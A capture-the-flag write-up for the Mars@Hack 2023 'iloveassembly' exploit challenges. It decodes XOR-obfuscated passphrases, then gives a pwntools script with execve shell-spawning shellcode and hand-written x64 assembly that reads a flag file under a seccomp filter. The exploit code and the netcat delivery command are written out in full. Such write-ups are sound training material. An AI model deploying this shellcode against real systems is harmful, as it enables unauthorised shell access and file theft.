Mars@Hack 2023 - Exploit Write-up : iloveassembly 1&2 Link to heading
On Wednesday, Mars 29 2023 was held the fourth edition of Mars@Hack at Mont-de-Marsan. My team finished 5th of 43 teams (3rd on site).
Let’s go for a writeup of the iloveassembly challenges in the exploit category.
Thanks again for the authors and the team for the event, the CTF was great !
Iloveassembly1 Link to heading
I forgot to retrieve the description of the challenge, but if i remember correctly it just said to get a shell
file: iloveassembly
Analysis Link to heading
Running the binary, we see that we have a prompt that asks us to enter a “secret phrase”, and after 2 seconds the binary exits. (the ascii art had random color too, that’s cool)
$ ./iloveassembly
__ __ _ _ _ ___ ___ ___ ____
| \/ | ____ | | | | | | |__ \ / _ \__ \|___ \
| \ / | __ _ _ __ ___ / __ \| |__| | __ _ ___| | __ ) | | | | ) | __) |
| |\/| |/ _` | '__/ __|/ / _` | __ |/ _` |/ __| |/ / / /| | | |/ / |__ <
| | | | (_| | | \__ \ | (_| | | | | (_| | (__| < / /_| |_| / /_ ___) |
|_| |_|\__,_|_| |___/\ \__,_|_| |_|\__,_|\___|_|\_\ |____|\___/____|____/
\____/
Tout d'abord, pour continuer, nous avons besoin que vous chuchotiez la phrase secrète
> john
Aie...
Opening the binary with Ghidra, we quickly see that the passphrase is easy to get: (simplified code)
for(int i; i < input_length; i++)) {
input[i] = input[i] ^ 0x41;
}
if (strncmp(input, &local, 0xd) == 0) {
flag();
}
A simple xor is made and the xored string is compared to a hardcoded string. Easy to decrypt, here’s the little bit of code I used to get the passphrase:
seq = b'\x2c\x20\x33\x32\x29\x20\x22\x2a\x2c\x20\x33\x32\x20\x2f'
for el in seq:
print(chr(el ^ 0x41), end="")
Passphrase = marshackmarsan
But that’s not the end ! It was simply a little check before accessing the real challenge. Here’s the decompiled flag function: (simplified)
void flag() {
char input[0x95];
memset(input, 0, 0x95);
read(0, input, 0x95);
*input();
}
That executes any shellcode we are writing after our passphrase !
Exploiting Link to heading
Knowing that, we simply had to ask internet for a basic x64 shellcode and adding it after our passphrase. And yeah, it worked first try 😎
from pwn import *
HOST = ["game1.marshack.fr", 43002]
payload = b''.join([
b"marshackmarsan",
b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
b"whoami\n"
])
p = connect(HOST[0], HOST[1])
print(p.readuntil(b">").decode("utf-8"))
p.sendline(payload)
print(p.recvrepeat(.1))
p.interactive()
After searching a bit, the flag is located at /home/iloveassembly1/flag.txt
flag: idontremember
Iloveassembly2 Link to heading
I also forgot the description
file: iloveassembly2
Analysis Link to heading
It’s pretty much the same thing as the first challenge, there’s just some tweaks to it
This time, the passphrase is a little more encrypted, but it’s still pretty easy to decrypt:
for (i = 0; i < 0xe; i = i + 1) {
input[i] = (input[i] * '\x02' ^ 0x84) + 0xc ^ 0x43;
}
if (strncmp(input, &local, 0xe) == 0) {
printf("\nheureux de vous revoir");
myseccomp();
flag();
}
(At this point you already see what’s going on for the next part 🫠)
My script to retrieve the passphrase:
def decrypt(char):
return (((char ^ 0x43) - 0xc) ^ 0x84) // 0x2
flag_enc = b"\x55\xb3\xb3\x1b\x05\x35\x23\xb1\x2d\x33\xad\x2f\x91\x91"
for el in flag_enc:
print(chr(decrypt(el)), end="")
Passphrase = G00d_wh1sp3r!!
This time, the myseccomp
function enable only a few syscalls:
secrule = seccomp_init(0);
seccomp_rule_add(secrule, 0x7fff0000, 0x0,0);
seccomp_rule_add(secrule, 0x7fff0000, 0x1,0);
seccomp_rule_add(secrule, 0x7fff0000, 0xf,0);
seccomp_rule_add(secrule, 0x7fff0000, 0x3c,0);
seccomp_rule_add(secrule, 0x7fff0000, 0xe7,0);
seccomp_rule_add(secrule, 0x7fff0000, 0x101,0);
seccomp_load(secrule);
Note: You can read more about seccomp here, TLDR: it enables only certains syscalls for the binary, so we can’t just call execve because seccomp will stop execution.
So we only have those syscalls enabled:
- 0x0 read
- 0x1 write
- 0xf rt_sigreturn
- 0x3c exit
- 0xe7 exit_group
- 0x101 openat
Knowing that, we need to open the file, read from it and write the output back to the stdin.
I never heard about openat
before so a quick look at the man page told me more about it.
TL;DR
int openat(int dirfd, const char *pathname, int flags);
The only difference with open
is the first parameters, dirfd
that let us control the directory of the relative path.
But there’s one thing I saw something that made me go tunnel vision and forgot about the rest (You’ll see later why it was a mistake):
If the pathname given in pathname is absolute, then dirfd is ignored.
Exploiting ? Link to heading
At this point, my shellcode looked like this (cool link about syscalls btw):
; openat(0x0, "/home/iloveassembly2", 0x0)
mov rax, 0x101
xor rdi, rdi ; dirfd = 0x0
movabs rsi,0x7478742e67
push rsi
movabs rsi,0x616c662f32796c62
push rsi
movabs rsi,0x6d6573736165766f
push rsi
movabs rsi,0x6c692f656d6f682f
push rsi
lea rsi, [rsp] ; pathname = "/home/iloveassembly2/flag.txt"
xor rdx, rdx ; flag = 0x0 (R_ONLY)
syscall
push rax ; saving the filedescriptor
sub rsp, 0x20 ; making 0x20 of space on the stack
; read(0x3, buffer, 0x20)
xor rax,rax
mov rdi,QWORD PTR [rsp+0x20] ; fd = saved filedescriptor
mov rsi,rsp ; buffer = stack_buffer
mov rdx,0x20 ; size = 0x20
syscall
; write(0x1, buffer, 0x20)
mov rax, 0x1
mov rdi, 0x1 ; fd = stdout
mov rsi, rsp ; buffer = stack_buffer
mov rdx, 0x20 ; size = 0x20
syscall
I used this site to compile my assembly to shellcode.
I was pretty confident I was on the right track at the time, but when starting the exploit, nothing worked. I had a really hard time trying to debug it, at some point I talked to an admin about where I was, and he hinted me towards the good direction.
-
Dumb me had forgotten that I don’t have infinite space to write the shellcode, and my current payload was way above the limit.
-
Also as I said above, I did not fully read the man page and missed a pretty cool information !
Here’s the important paragraph on the man:
If the pathname given in pathname is relative and dirfd is the
special value AT_FDCWD, then pathname is interpreted relative
to the current working directory of the calling process (like
open()).
Searching a bit, the value of AT_FDCWD
is -100, so 0xffffffff9c
.
Since the current working directory is set as the home directory in the binary, I can use that to simply enter “flag.txt” as a pathname ! Effectively making my payload way shorter.
Here’s the new payload:
mov rax,0x101
movabs rdi,0xffffffff9c
push 0x0
movabs rsi,0x7478742e67616c66
push rsi
lea rsi,[rsp]
xor rdx,rdx
syscall
push rax
sub rsp,0x20
xor rax,rax
mov rdi,QWORD PTR [rsp+0x20]
mov rsi,rsp
mov rdx,0x20
syscall
mov rax,0x1
mov rdi,0x1
mov rsi,rsp
mov rdx,0x20
syscall
The last issue I had is that running the exploit with pwntools (my exploit) was not working neither in local nor remote. Even tho my payload was correct since running it with GDB was working correctly.
I had to write out the payload to a file and do this cat payload.bin | nc game1.marshack.fr 43003
… And voilà ! I got the flag !
(I still don’t remember the flag)
Conclusion Link to heading
That challenge was really cool, I knew about seccomp and had previously read a lot of writeup with seccomp but that was my first “real” challenge including seccomp and shellcoding, I’m just a bit sad that I was on tunnel vision with my first payload and spent too much time on it.
But anyway, that was a really good challenge to train shellcoding I had lots of fun !
Thanks again for the ctf team, the event was really cool 🔥